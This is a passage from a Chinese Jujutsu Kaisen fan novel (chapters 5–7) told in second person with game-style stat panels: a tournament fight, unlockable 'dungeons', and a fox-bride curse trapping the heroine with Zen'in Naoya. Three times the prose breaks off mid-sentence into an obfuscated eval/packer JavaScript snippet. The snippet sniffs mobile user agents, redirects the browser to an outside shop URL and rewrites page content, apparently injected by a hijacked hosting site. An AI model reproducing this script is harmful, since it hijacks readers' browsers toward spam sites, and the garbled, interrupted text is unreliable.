“没有吧。”男人犹疑了一秒,果断道,“登记册里可没写她的术式内容呢。” “她才多大?16还是17?” “不知道,登记册上只写了名字和入校信息,其他全是——” 他把登记册翻过来给旁边的人看,那一行确实空了很多格,像是填表的人刻意跳过了那些有效信息,根本就不打算让任何人看到。 “有意思。”旁边的人摸了摸下巴。 “这一届,越来越看不懂了。” 就算是咒术师,也是分特级,一级,二级和末流的,划分等级几乎是刻在人类骨子里的行为。 他见过太多天才了,咒术界从不缺天才,可天才这一阶层也有严格的划分,例如独一档的五条悟,那是一个让所有天才都变成笑话的存在,禅院直哉花了很长时间才接受这个现实。 可在那天,他见到了另一类天才。 虎杖幽花。 女孩上场的时间不长,前半段一直站在队伍后方,没有参与进狩猎游戏,甚至在团队赛上也没什么亮眼的表现。 可后来情况变了。 京都校的三个学生抓住了这个机会,同时朝她冲过来。 女孩没有躲,第一个冲到她面前的人挥拳打向她的脸,角度很刁,力道强劲。 她的头偏了一下,刚好让那只拳头从耳边擦过去。她抬手扣住对方的手腕往下压,那人的身体就失去了平衡,膝盖撞在地上,砸出一个十几米深的坑。 在放倒第一个的同时,她的肘击打在第二个人的侧腰上。 那个学生的身体弯成了一个不自然的角度,往旁边倒下去,撞在第三个人身上,没听错的话是肋骨断裂的声音。 三个人的进攻在几秒内被瓦解了。 看台上安静了一瞬。 简单粗暴的体术,干净利落。 点到对方丧失战力为止,严格遵循开场是两位校长的宣言:只是切磋,共同进步。 场地上的裁判宣判完结果后,她一路小跑回到自己的位置上。她的脸红得很厉害,但表情没什么变化。 女孩刚才那几秒的表现在他脑子里来回播放,每一帧都被放大,快速被拆解分析,那出手的角度,力道和对身体的控制力,都不像是青涩一年级生该有的老练。 他想起以前有人跟他说过,那女孩是五条悟的弟子。五条悟夸过海口,说她绝对是准一级的实力,虽然距离特级还有段距离,但也就这段时间的事了。他说他弟子的悟性很强,只是差个机运。 机运?别扯淡了。 他在那女孩身上看到的不是什么机运,是别的东西,那种感觉他很熟悉,但不是从别人身上感受到的,是从甚尔身上。 那个没有咒力的男人,被禅院家视为耻辱的存在,凭着肉-体的强度和战斗本能,在咒术界留下了一个谁都无法忽视的传说。 直哉从小听着甚尔的事情长大,听长辈们说他是个废物,玷污了禅院家的血统,说他再强也只是一个没有咒力的垃圾。 但直哉知道那些人说这些话的时候,嘴里相当丑陋,一堆年近三十的男人,眼界浅薄如蜉蝣,更让人发笑的是家族里到处都是这种货色。忮忌,不甘,对一个无法被驯服的异类的恐惧展现的淋漓尽致。 他以为甚尔那样的完美强大的身体是独一无二的,是那个男人的才能,是不可复制的意外,上天最完美的杰作。没有人懂甚尔的强大,只有他明白。 在见到虎杖幽花之后,他隐隐有了预感。那不可复制的强大,就要在另一个人身上显现,他在那女孩身上看到了甚尔的影子。 那种冷静到令人毛骨悚然的平静,赤裸裸的武力碾压,那个男人的强悍,将在这个女孩身上重演。 最后一场比赛里,她把这东西完整地展示了出来。 五条悟在干什么,培养二代暴君? 如果这就是五条悟倾囊相授的结果,那么他成功了。 他看到了那女孩恐怖的体术所延展出的未来,确实够震撼人心。 直哉站起来,沿着过道往外走,走廊很长,他的脚步声在空荡的走廊里被放大。 “太强悍了,这就是东高今年的新生吗……”身旁人仿若身临梦幻般开口,“虎杖幽花……完全没听过的姓氏……那变态的体术,到底是谁教的……” 但凡是亲历过甚尔的人,都该对这份强悍深有印象。 那居高临下看着所有人,气定神闲,视万物为邹狗的嚣张态度,在那种懵懂无自知的脸上再度显现。 5. 第 5 章 第一次参加交流会,你非常激动! 你把防护咒具交还给老师。 “我用不上这个,为了公平起见。”你说。 “坏丫头,”他说,“也就只有你有底气说这种话了。” 然后他抬起手,在你头顶上轻轻拍了一下:“好好表现吧,老师我可是眼也不眨的看着呢。” 你走进场地,树林弥漫着刚下过雨后潮湿的气味。 和之前商量的一样,你和哥哥作为先锋手,负责压制京都高专学生的战力,你在脑子里把战术顺序又过了一遍,你需要从正面切入,吸引火力,给钉崎和伏黑创造机会,确保没问题和同窗们交换了眼神。 当比赛开始,你用蛇灵附着全身,冰凉的透明鳞甲从脊椎底部往上爬,沿着脊柱一节一节地蔓延,蛇灵附着的时候你的皮肤表面会泛起一层细密的鸡皮疙瘩,然后你的视野就变了,像是有人把世界的清晰度从标清调到了超清,远处正在移动的人影在你眼里慢了下来,他们的步伐,抬手时的轨迹,他们交谈时嘴唇的动作,都像是被无形放大。 好简单—— 你闪开第一波攻击,身体侧转的角度刚刚好,对方的咒具从你耳边擦过去,你能看清她弹道滑过的轨迹。 这人根本没吃饭吧,动作也慢吞吞地。 在蛇灵的辅助下,你的动态视力达到顶峰,轻而易举捕捉到那些攻击的走向。你甚至有点不好意思了,因为你觉得自己没有在认真打,只是在随便应付,可对方已经倒了一地。 你的脸颊发烫,你太兴奋了。 蛇灵在你的血管里游走,它的兴奋和你的兴奋叠在一起,变成了双倍的情绪叠加,在你的太阳穴突突地跳。 你刚起了兴致,战斗就结束了。 你站在场地的中央,低头看了看周围。地面已经被破坏殆尽,有几棵树从根部折断,横倒在深坑里。 你歪着头,瞥了一眼旁边负责支援或者偷袭的狗卷学长。 他一直站在不远处的树荫下,衣领拉到下巴的位置。 他的眼睛看着你,像是在看一个他从来没有见识过的怪物。 [ 这场比赛结束,幽花差不多就能独自外出执行任务了 ] [她的天赋不比忧太差,甚至还要更出众。咒力啊,呼吸间就增长了,很可怕吧,那孩子 ] 五条悟随口说出的这番话反复在狗卷脑海里回响。 狗卷反而觉得比起天才,用怪物来形容反倒更贴切。 那样的提升速度,哪里像是普通学生该有的样子,寻常咒术师埋头苦练数年才能积攒的咒力,她轻轻松松就能追上。 舌尖在牙齿后面抵了一下,狗卷重重吐出口气。 他想:她比我强。 这个念头从脑子里冒出来的时候没有让他觉得不舒服,也没有让他觉得高兴,不过,被后辈赶超这个事实还是让他有点郁闷。可转念一想,真希会更加郁闷吧,他竟然有点同病相怜的感觉。 就在这时,一股磅礴迅猛的巨力骤然袭来,宛如炮弹般直直朝着后辈砸落而去,烟雾散尽,狗卷松了口气,幸好后辈没受伤! “喂喂喂!你们的目光看向哪里!!” 战斗没这么简单就结束,因为下一个到达战场的是师承九十九由基的另类体术天才——东堂葵。 “你,喜欢什么样的女人?” “啊?”你的拳头停在半空中。 你的身体还维持着攻击的姿态,但脑子已经不在那个频道上。 东堂葵忽然想起了什么似的,赶忙改口:“男人,是男人!”他换个了个起手式,双手举到胸前,“你很厉害啊!幽花!我可以这么叫你吧!这样的你会喜欢什么样的男人呢?” 你挠了挠头,抬头看着天想了一会: “硬要说的话……麦德森·米科尔森吧。” “很有见地呢!”东堂葵的声音很响亮。 紧随而来的是东高的其他学生。 伏黑惠擦掉鼻血,视线从京都的学生身上移开。 明明被打的脑袋嗡嗡的,还是硬撑着死死盯着你的方向,恨不得把目光穿过你的后背。 听见你的回答伏黑惠嘴角动了一下,生生气笑了。 - 十分钟后,你结束战斗。 东堂葵趴在地上,脸埋进土里,后背的衣服破了几道口子,他的手指还在动,以防万一,你又补了几脚。 东堂葵确实很耐打,挨了你那么多下还能趴着不晕过去。不过也就那样了。你抬手擦了擦下巴上的汗,转身走了。 裁判的声音从场地边缘传过来,通过扩音器放大后在整个树林上方回荡。 “东京咒术高专,胜” 你走到五条老师面前停下来,五条老师还是那个姿势,眼罩遮住了大半张脸,脸上挂着余裕的笑。你的呼吸还没完全平顺,胸口轻轻起伏着,嘴唇因为出汗有点咸,硝子伸了个懒腰,朝你走过来,按部就班地开始检查,托你的福,这几年她外出任务的频率变高了。 你说:“老师,我赢了。” 一如去年的乙骨学长那般,你以恐怖的体术统治了胜利。 【特质觉醒:万有引力】 你站在原地,手指微微发抖。 看台之上,原本纷乱嘈杂的议论声瞬间变了味道。 此起彼伏的喧闹搅成一团浑浑噩噩的杂音,方才还各说各话的众人,视线不受控制地朝着同一个方向汇聚而去。 有人往前探了身子,有人停下了手里转笔的动作,有人张着嘴忘了合上,他们自己可能都没意识到自己在看你,可身体却促使着他们本能的捕捉你的身影,如同飞蛾扑火,急促热烈。 仅仅静立于此,整片天地的焦点便尽数落于你身上。 伏黑跑到你面前时脚步慢下来了,最后两步几乎是走过来的。 他低头看着你,瞳孔里映着你的脸。 清晰完整,红扑扑的脸。 汗水滑过下颌隐入领口。 你双唇微微张开。 存在本身就是引力。 你站在那里,哪里就是中心。 【魅力属性提升,周围单位对你的好感度获取速度增加】 你一战成名。 - 【玩家:虎杖幽花(上限为100点) 【生命值:80 【年龄:18岁 【状态:寻常(先天无痛觉症) 【感知:60 【天赋:天选之人好运伴身 【自理:50点(可增长) 【魅力:100点(可增长) 【体力:60,普通行动一次减少3点,副本最高一次减少30点 【咒力:99点 【术式:我身奉给(觉醒) 【咒具:蛇灵(强化型咒具特级) 【特质:绝对支配者(未觉醒),有偿的温情(觉醒),万有引力(觉醒)】 【玩家获得:一级咒术师头衔 解锁:副本功能 目前开放四个副本, 副本一:斗傩大陆 难度:S 绝对的强者,由此而生的孤独,教会你爱的人将会是—— 嘟嘟嘟嘟…… [同学你好:你已经通过东京都立咒术高等专门学校的选拔,请于2018年11月21日前往新宿参战,在此我谨代表全体咒术师欢迎你的到来,并感谢你的伟大付出!届时你的名字将永远载入史册,那是你无上的荣光。再次提醒同学,前往东京作战,后续会开具综测证明。收到回复:姓名+学号] 通关奖励:开放性领域「饕餮盛宴」效果未知 奖励说明:你踏过了诅咒之王的战场,你见证了他的王道。你不必成为他,你只是拿走了他的一部分,剩下的路由你自己走。 副本二:幼鱼之灾 难度:A 你不用多努力就能跨越那条线,这就是事实,可我已经竭尽全力去追赶你了,没错,我从没有觉得成为咒术师开心过。 咒术师的尽头是同伴的尸山血海。 我讨厌猴子。 来战斗吧。 你的选择都有意义。 失败解锁成就:「不过是,苦夏罢了」 成功通关奖励一: A级防护咒具-蝉蜕 效果未知 此身如蝉,脱壳而去,枯骨沉埋,鸣声犹在。 通关奖励二:18岁的咒灵操术师,水嫩仙灵。 通关后,少年穿着高专制服,头发扎着,眼睛下面有浅浅的青黑,站在树荫下等着你。你可以和他说话,了解他的过往。 “未来……原来没有我的身影吗?” “现在有了。” 副本三:新宿狐狸花嫁 难度:C 晴天下雨,狐狸嫁女,若是被人类看到必被狐狸报复! 新宿某条不起眼的巷子里,这个传说成真了。 被退婚的女人,死了丈夫的女人,嫁不出去的女人,她们的念想混在一起,被某个咒灵吞了下去,吐出来的时候变成了“狐狸新娘”。 “你,要问路吗?”沉稳的男音自你右耳出现! 晴雨天才会出现的白无垢新娘,去捕捉他的身影! 通关奖励:「狐的恩赐」一级可成长咒具效果未知。 副本四:荒寂山神神社 难度:A 一次任务中,少年被困在神社中。 他还活着,还在呼吸,心脏还在跳,但他的同伴快要死去了。 -“我的梦想是成为伟大的咒术师!” -“尽力做自己能做到的事,感觉就很好!” -“劳动就是狗屎。” -“孩子的死亡,纯粹是悲剧。” -“枕边脱落的头发变多了,喜欢吃的夹心面包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550845|204332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从便利店消失了……这些微小绝望的积累,才让人长大。” 通关奖励:特级咒具「缘结」效果未知。 介于种种原因,跨越无数界限,他们降临了。 “现在,我们不用隔着虚妄对视。” 】 你盯着系统界面的四个副本,这任务描述云里雾里,每个字都认识,可连在一起就看不懂了。不过从难度上看第三个比较简单,C级的任务应该不会折腾人。 于是,你点下副本三的按钮。 画面一转,像素颗粒散去,你置身于高专门口,道路旁停着一辆大巴。 “哎呀,这么快就迫不及待自己出任务了吗?” “幽花还真是努力啊。”五条悟不紧不慢地声音传来,他站在大门边,惬意的笑着。 是npc下发任务的环节! 你朝车门走去。 “记得任务地点是新宿哦。” 你点了下头,隔着车窗五条老师目送你远去。 当然啦,新宿这个事故多发地可是占据两个重要副本呢! 只是你没想到新宿居然下着小雨。 你狼狈跑进路边的便利店买了把黄色雨伞。 “你是交流会上的那个妹妹吧……虎杖……幽花?”轻佻的关西腔从你背后响起,尤其是“妹妹”两个字被咬得尤其重,带着一种故意让人不舒服的亲昵感。 温热气息拂过耳畔,裹挟着男人独有的慵懒压迫感。 声音离你很近,大概三步以内,已经超过了正常社交范围,这个距离意味着他不打算给你留出反应的空间,他想让你在转身之前就先感觉到他的存在。 你下意识微微仰头。 男人的头发挑染着金色,身姿矜贵挺拔。 他脸贴得极近,近到能看清那双微微上挑的眼尾。 真是生得一副好皮相,眉宇间散漫着几分贵公子与生俱来的倨傲。 他垂着眼睛看你,眼尾的弧度让他即使不笑也带着一种天然的嘲弄。 “一个人?”他问,“怎么,你的老师没有陪你吗。” 在他说完这番话后,舌尖在牙齿后面若隐若现。 没有后退的意思,你的发丝堪堪擦过他的衣襟。 你从没有见过有人能把关西腔说的这么性感,撩人。 这就是成熟年上男的魅力吗。 领教了,谢谢。 “出任务中,不需要人陪。”你眨眨眼,老实回答。 “这样啊,那我也去。” 【特别一级咒术师禅院直哉申请入队 】 时间线收束。 - 你盯着那行字看了两秒。 什么叫特别一级咒术师? 比你还吊吗? “快点走吧,我这个人耐心可不好呢。”禅院直哉的指甲修剪得很整齐,在耳廓边缘轻轻刮了一下,满脸无所谓地说,“反正就是些低级任务吧,刚评定完等级,怎么可能马上让你去做些危险任务呢。” “所以啊,别磨蹭了。” 好吧好吧,你同意禅院直哉入队。 离开便利店,你抬头看了一眼天空。 是晴雨天。 禅院直哉散漫地将手插进衣兜,额前碎发被雨水濡湿,水珠顺着下颌缓缓滚落,笑容慵懒惬意。 你撑开伞问他:“要打伞吗?” 禅院直哉挑了挑眉,几步走近弯下腰钻了进来。 你们走在一条你不认识的巷子里。 道路很窄,只能容纳一人通过,墙面上贴着褪色的海报和长着锈迹的管道,裂缝里积着浅浅的水洼,踩上去会发出啪嗒的声响,垃圾箱散发的酸味和雨水的潮味混合。 晴天下雨,狐狸嫁女。 副本的这段话在你脑袋里又放了一遍。 “喂,伞给我。” 禅院直哉轻啧一声,不耐地伸手夺过黄伞。 你愣了愣,这才发觉他大半张脸都被伞面遮住。 可你本来也没有照顾人的经验啊,你有点委屈。 “你,要问路吗?”声音从你的右耳侧传来。 你的余光扫到的只有一面灰色的水泥墙,什么都没有。 太阳还在云层后面亮着,地面的水洼在你脚边微微颤动,通过倒影,你看到一位身着白无垢的“新娘”与你对视。 祂的瞳孔很深,是浑浊的灰黑色,像一团浓稠黏腻,沾满了人性恶意的墨汁。 “你凝视深渊,深渊凝视着你” 这句话突然出现在你脑中。 狐狸新娘,出现了。 下一秒,水洼里伸出一只手,抓住了你的脚踝,把你拉了进去。 “喂——” 禅院直哉的手擦过你的发丝,拽掉那抹黑色的发带。 小巷里很快恢复平静,肮脏的泥水地里躺着孤零零的黄雨伞和一条黑缎带。 空无一人。 6. 第 6 章 你再次睁眼,置身于荒郊野外。 月朗星稀,听不到虫鸣。 你随便挑了个方向走,走了大约二十米到达尽头,你伸手触碰前方,指尖触到一层冰凉顺滑、近乎无形的壁垒。 是领域空间。 “你在干嘛呢,幽花。” 禅院直哉站在你醒来的地方,不知什么时候出现的。 “走吧,到时间了。” 他丢下一句淡冷的话语,率先朝着柏油路的尽头缓步走去。 “我们要去哪?” 你盯着他的背影,心里浮起一丝异样。 “去参加婚礼啊,白狐嫁女。”见你不动,他停下脚步回头,语气带着催促:“快点天亮前必须赶到,我们可是男方的亲属呢。” “好。”你朝他笑了下,抬脚迈步。 而那股诡异的违和感始终萦绕在你心头。 你走的很慢,偶尔向‘禅院直哉’搭话。 你和禅院直哉本就不熟,可他言行处处透着不对劲。奇怪的是,他似乎根本不在乎被你看出来。这里人生地不熟,你不想贸然动手。 可直到你们来到一栋古旧的宅子门前。 ‘禅院直哉’推开房门,浓厚的血腥味和尸体腐败发酵后的臭味扑面而来,躺倒在门房里的是一具具横七竖八的尸体,死了有很长一段时间,血迹在青瓦石阶上干成黑红色 看着这一幕,他的嘴角缓缓勾起一个诡异的弧度。 下一秒,你的短刀已经抵上他的后颈 “你到底是谁?” 你的声音冷了下来。 - 宅院另一侧,现代楼房的电梯之内。 “狐狸新娘真的在这里吗?直哉前辈。” 披着幽花外表的女孩声音微微发颤,手指不安地绞着衣角:“这是我第一次独立任务……我好怕。” 禅院直哉侧头瞥她一眼。 那张脸明明是虎杖幽花的,但表情做得太用力,反而显得很假。不过他倒是没见过那女孩这副模样,还挺有趣。 “难道你的一级咒术师是靠撒娇评上的?”他勾了勾唇角。 “对不起……”她把碎发别到耳后,眼睫低垂,“我只是怕拖您后腿……” 声音也一模一样,真是够努力的。 比虎杖幽花本人更会利用那张漂亮的脸,每一个微小的动作都精心计算过角度,可正因为太完美了,反而丢掉了那个女孩身上本来的魅力。 电梯里四面都是广告。 一面印着某座古宅的拍卖信息,黑白的照片里那栋房子看起来像鬼屋。 另一面写着“撒哈拉沙漠诚招入股”,红底黄字,字体大到夸张。 第三面是某家医院的消化科广告,一个穿白大褂的中年男人举着牌子,上面列了一长串症状,附带一张人体胃部的细致解剖图。 最后一面是黑的,只有几个白字:结局待定。 这电梯和现实世界没什么区别,连那种营销味十足的广告都模仿得一模一样。 黑幕像一面镜子,倒映着他和女孩的脸。 一个坏消息,自从踏入诅咒的领域他就感觉不到咒力了。 原本在四肢百骸间流淌的力量像被凭空抽走,变成普通人的感觉让他很不适应。 多半是领域本身的规则在作祟吧。 也就是说,在这片领域里禁止使用暴力? 禅院直哉斜瞥了一眼身旁的幽花,拳头蠢蠢欲动。 不过……能构建出如此细腻完整到极致的生得领域,这诅咒的等级绝对是特级没错。 “怎么了?”幽花意到他的视线,问道。 “我在想……投这面广告要多少钱。” ‘幽花’的注意力果然被广告屏吸走了,还没等她开口,禅院直哉按下开门键。电梯门缓缓打开。 他一把将‘幽花’推了出去,她毫无防备,尖叫着跌进电梯井,整个电梯井回荡着她尖锐的嚎叫声。 又过了一分钟,一只指甲锋利,覆着白毛的手掌卡住了即将关闭的电梯门,半张脸犹如纸皮丑陋的顶在兽面上。 “不可能!我的伪装完美至极!你到底是怎么发现的?!” 禅院直哉的脚碾住女人的脸,满脸嫌恶地将人踹开,慢条斯理按住电梯关门按钮:“别演了,你连她半分都学不像。”他没有理会电梯井下传来的咒骂声。 随着电梯缓缓沉入一层,‘噗叽’——类似肉酱爆开的声音过后世界安静了。 电梯再次运作到达顶层,真正的目的地。 只有一面房门打开, 他挑了下眉,走了进去。 一位穿西服的老者看到他,脸上露出惊讶:“新娘呢?您没有护送来吗?” “……我怎么知道。”禅院直哉有点心虚。 “可您不是新娘的胞弟吗?婚礼马上开始了,要是不能如约送上新娘,男方那边会生气的,我们可开罪不起。”老头慌慌张张地在屋里来回踱步。 “我管你去死!”禅院直哉骂道,“别装了,你们这些怪物!来堂堂正正打一场!” 老者忽然停下脚步,目光落在他身上:“那就只能这么做了。” “你要干嘛?”禅院直哉警惕地后退半步,作出防卫的架势。 “你来当狐之助的新娘。” “啊?!”禅院直哉眼睛睁大,声音也不由自放大,“看清楚,我可是男人。” “有什么关系,那边说不定更喜欢呢。”老者满脸无所谓地说,“孩子们,快出来!” 话音落下,走廊两侧的墙壁开始蠕动。 墙纸从中间裂开,像蜕皮的蛇一样往下剥落,露出后面黑色的木质骨架。从那些裂缝里钻出来一只只白色的纸扎狐狸,尖耳竖立,眼睛的位置点着两粒朱红色的墨。纸狐落在走廊的地毯上,没有发出声音,四条腿踩着暗红色的绒面,排成两列,整整齐齐的十八只。 寓意十八子。 领头的那只最大的纸狐嘴里叼着一套白无垢。 白色的布料在它的齿间垂下来,拖在地上,像一条被拖拽的长尾。 很显然,这是一套女式婚服。 禅院直哉往后退了一步,后背撞上了门框,他的视线从纸狐身上移到老头身上,又从老头身上移到那套白无垢上。 老头站在物资中间,双手背到身后,脸上的皱纹因为笑容挤得更深了:“不必害怕,婚礼本就是吉事。快换上新衣梳妆打扮,前去迎接你的夫君吧。” “你她妈——”禅院直哉的手伸向腰侧,他用来偷袭的匕首不见了。 那些纸扎狐慢慢逼近。 “你们别逼我动手啊。” 没了咒力依仗,禅院直哉心底涌上从未有过的慌乱焦躁。 老头歪了下头:“你现在能做什么呢?” “我不是新娘的胞弟。” “你是不是不重要。”老头的声音顿了顿。“你觉得那边会在意吗?他们要的只是一个活的东西。活的,两条腿的,穿白无垢的。” 禅院直哉后退,脚跟抵上闭合的屋门。 要是没猜错,和他同行的那个诅咒才是真正的狐狸新娘……借幽花的皮囊,模仿她的言行神态,只是为了顺利走到那扇宅门前。它本就不需要谁来护送,它想要的只是“有人相送”这件事本身。 所谓婚礼讲究流程,流程缺一不可,至于护送之人是谁无关紧要,只要这个流程走完便足够。 可现在,新娘已经被他一脚踹进了电梯井。 于是流程断了,这群纸扎狐狸只好临时换个角色补上新娘的空位。 “……真他妈晦气。” - 古宅里,站在血泊中的你喘着粗气。 你低头看了一眼自己的手,因为体力已经快被耗尽抖个不停。 【生命值-5 目前生命值:75】 你快要握不咒具了。 你发现咒力被莫名压制,所幸入内前用蛇灵覆遍全身。 宅子里冒出来的咒灵是类似某段记忆的场景在复现,费了一番功夫你终于解决。 “怎么又搞成这个样子,狐之助!” 一个穿和服的女人从柱子后面跑出来,她的和服是大红色,勒出了一截细腰。脚上穿着白色的足袋,踩在血泊里,足袋的底部被染成了暗红色。 她跑到你面前停下来,拧着眉头。 “你把狐之助杀死了。”她的声音比刚才更尖锐一点。 你握着刀,没有动。 “那你来做新郎。”她低头思索了下,重新抬起头时这么说。 她伸出手拉住你的衣袖,手指细长,手腕带着一只卡西欧款运动表,和她的扮相对比,像两个时代的产物被强行塞进了同一个画面,生出几分违和感。 “快点走!如果让新娘那边等急了可就麻烦了。” 你被推着朝走廊的方向走了两步。 你偏头看了她一眼。她的脸离你很近,眉毛拧着,眼睛睁得很大,透着惊恐地味道。 “你和那些诅咒不同。”你用力回握住她的手,“我是咒术师,来救你的。” 她没有说话,手上的力气突然加大了。 你跟在她后面,脚步有些踉跄,好几次差点踩到她的衣摆,直到在一扇纸门前停下来,房间里点着蜡烛,火苗在通风口轻轻地晃动,墙上挂着一套黑色男式和服,地上摆着木屐,屋子里跪着另两个遮面的灰色和服女人,头低垂着,双手放在膝盖上,像两尊被摆放的瓷偶。 她们的面前放着木盆和毛巾,盆里的水还冒着热气。 她把你推进去,然后拉上了门。 两个狐仆沉默地为你梳洗。 你看到了他们的过去。 【狐仆玲 】 她是家中最小的女孩,村里需人祭祀,里正说她生得纯净,狐仙一定爱不释手,便剥去人面供上神坛。 【狐仆式 】 这孩子生了场大病,家里负担不起,就把他扔到巷外自生自灭,于是向狐仙许愿……他成功了,代价亦是自己…… 你从侧面看到了玲的脸,颧骨很高,皮肤下面有一层细细的绒毛,眼睛是棕黄色的竖瞳,嘴角弯曲的弧度很厉害,那是一张狐狸面孔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550846|204332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>左右不过是十多岁的孩子,被困在领域中不得往生。 玲站在你身后,手指穿过你的头发,编织着发髻。另一个蹲在你面前,用湿毛巾擦着你沾满血污的手指,碰到紧握在手中的咒具时,被吓到了一般缩回手。 因为你把女人嘴里的‘狐之助’杀了,也就是他们原本安排的新郎。 现在你得代替他去成婚。 身后的狐仆把你的头发拢起来,用一根白色的发带在脑后扎了一个结,她站起来,从墙上取下那件白色礼服,抖开,举在你面前。 你没有动,你对着她们说:“我会拯救你们所有人。” 举着礼服的狐狸低下头,看着自己手里的衣服,白色的布料在她手中微微颤抖,你穿好服饰,经过她们时,听见细不可闻的声音。 “不要对祂抱有敌意。” 对谁?新娘吗? 你站在走廊尽头,身上穿着那件男款和服。 狐仆退到你身后两步远的位置,跪坐下来,双手放在膝盖上,低着头,恭送你离开。 走廊另一头传来了鼓声,一下又一下的,像有人在用拳头捶一面蒙了布的墙,鼓声越来越近,你看到了队伍,最前面是一只白色纸狐,嘴里叼着一盏纸灯笼,灯笼里的火苗是幽幽的绿色,后面跟着两排穿红衣的狐狸,也是纸折的,脚步整齐的慢慢前进。 它们中间抬着一顶红色的小轿,轿帘垂着看不清里面。 轿子在你面前停下。 鼓声骤然停止。 走廊里安静得只剩灯笼里火苗燃烧的细微声响,像有人在耳边轻轻吹气。 一只手从轿帘后面伸出来。 手指修长,骨节分明,指甲修剪得整齐干净,袖口是白色的,布料很透,能隐约看到下面手臂的轮廓。 那只手在空气中停了一下,掀开了轿帘—— 禅院直哉坐在里面。 他穿着白无垢,露出整张脸,额前垂着几缕碎发,挑染的浅色在幽绿的火光下晕出一层暖光。嘴唇紧抿着,上挑的眼尾染了一抹红,不耐烦之色浮上眉梢。 看到你时,他面上神色几度变幻,舌尖抵着后槽牙反复碾动,说不清心底是憋着怒意,还是强压着笑意。 你受到了惊吓。 你抬起脚,朝他走过去。 按照狐仆的吩咐,你在他面前停下来伸出右手,掌心朝上,等着他把手放进你的掌心里。 “新娘,接——” 叼着灯笼的纸狐狸开口了,声音没有起伏。 他的手比你大,骨节也比你粗,交握时他反手攥紧了你的手掌,血味从他身上散发出,混着他原本的香水味,变成一股酸涩的,浓郁的甜腥。 你不动声色地朝他身后瞥了眼,禅院直哉脊背的衣料满片猩红,像一朵开到极艳的花败落后凋零的盛况,他呼吸的频率比平时快,肩胛骨的轮廓在血迹下面时隐时现。 脖颈后露出的皮肤上有两道红痕,像被指甲抓过的痕迹。 打卦里头的长襦袢皱皱巴巴的,领口的位置歪到了一边,腰带的系法也不对,结打得太紧导致直哉喘的费劲。 那身白无垢分明是强行被套上的,穿的又急又忙,衣襟也没整理平齐,连衣饰都歪歪斜斜的,只顾着穿好便匆匆出行。 你的指尖在他掌心轻轻微动,他的手指便立刻收紧,牢牢扣住不放,他目不斜视,在狐神石像的注视下完成了交杯。 你们同时饮下酒,是一股很淡的甜味。 禅院直哉微微伸出舌尖,舔掉下唇沾着的酒水。他始终垂着眼,睫毛投下的阴影遮不住眼底的杀意。 因为贴得极近,他的声音轻得像在哄孩子:“再看就把你眼珠挖出来。” 他的声音很轻,怕惊动什么。 “噢。”那不看了,你收回目光。 成婚仪式照常进行,宾客席上坐满了纸扎狐狸,模仿着人的模样,装得醉态十足,看着说不出的怪异好笑。 你和禅院直哉被簇拥着送入寝屋,硬着头皮等屋外的诅咒动静消失。 禅院直哉的状态很不好,他受了伤。 几乎是纸狐狸关上门的那一刻,他的脊背塌了下来。 你沉默地等了两分钟,没有管他,径直走到门口,拉开了门。 一堆纸扎狐狸站在古旧的回廊里。 听到响动它们仰头与你对视。 你们都没有说话,形成某种无言的默契。 你静静合上了门。 “找到出去的办法了吗?”禅院直哉虚着嗓音问你。 你侧头看他:“为什么要出去?” 禅院直哉挑眉:“难不成你还真打算一辈子困死在这种鬼地方啊?” “消除诅咒本就是我的任务。”你平静地说。 只是禅院直哉受了伤,一心只想着尽快逃出去,连那副故作成熟可靠的姿态都维持不下去,可比起出去,你更想先摸清这里的规则。 禅院直哉的焦虑,恐惧,求生欲,那都是他的事,你不想替他分担,也不想安抚他,男人释放的负面情绪会干扰你的判断,而你是玩家,理应强大。 7. 第 7 章 第二天,你们依然不能离开房间。 【生命值-5目前生命值:70】 禅院直哉炸毛了。 他的体力流失得很快,没有咒力护身,再拖下去他迟早得死在这,可看你一副淡定的模样,又忍不住牙根发痒。 “你难道就不知道害怕吗?” 你已经摸透了房间的布置,闻言抬头看了他一眼没有接话。 在直哉眼里,你冷漠到近乎薄情。哪怕身陷囹吾都不见有丝毫动摇。禅院直哉盯着你,心里那点烦躁又往上窜了一层。 这女人,不太像个正常人…… 第三天,情况依旧。 【生命值-5目前生命值:65】 禅院直哉变得极其嗜睡,大部分时间都在床上昏睡。 第四天。 “禅院前辈,有没有发现我们感觉不到饥饿?”你摇醒他。 他迷迷蒙蒙地看着你,好半天才反应过来:“难道不是因为我快死了?” “别说这种丧气话。” “那你还不赶紧想办法!” 【生命值-5,当前生命值:60】 时间不断推移,每天生命值都在匀速下降。再这样持续下去迟早会被耗干,至于生命值归零后是退出副本还是打出别的结局,就不得而知了。 最诡异的是门口那十八只纸扎狐狸,它们没有任何动作,只是低着头蹲在那里,偶尔你开门的动静传来,它们会齐齐仰头看你,是最纯粹地注视,你没有察觉到恶念。 你趁禅院直哉睡着的时候探索过古宅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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既然找不到线索,那就自己制造一个突破口。 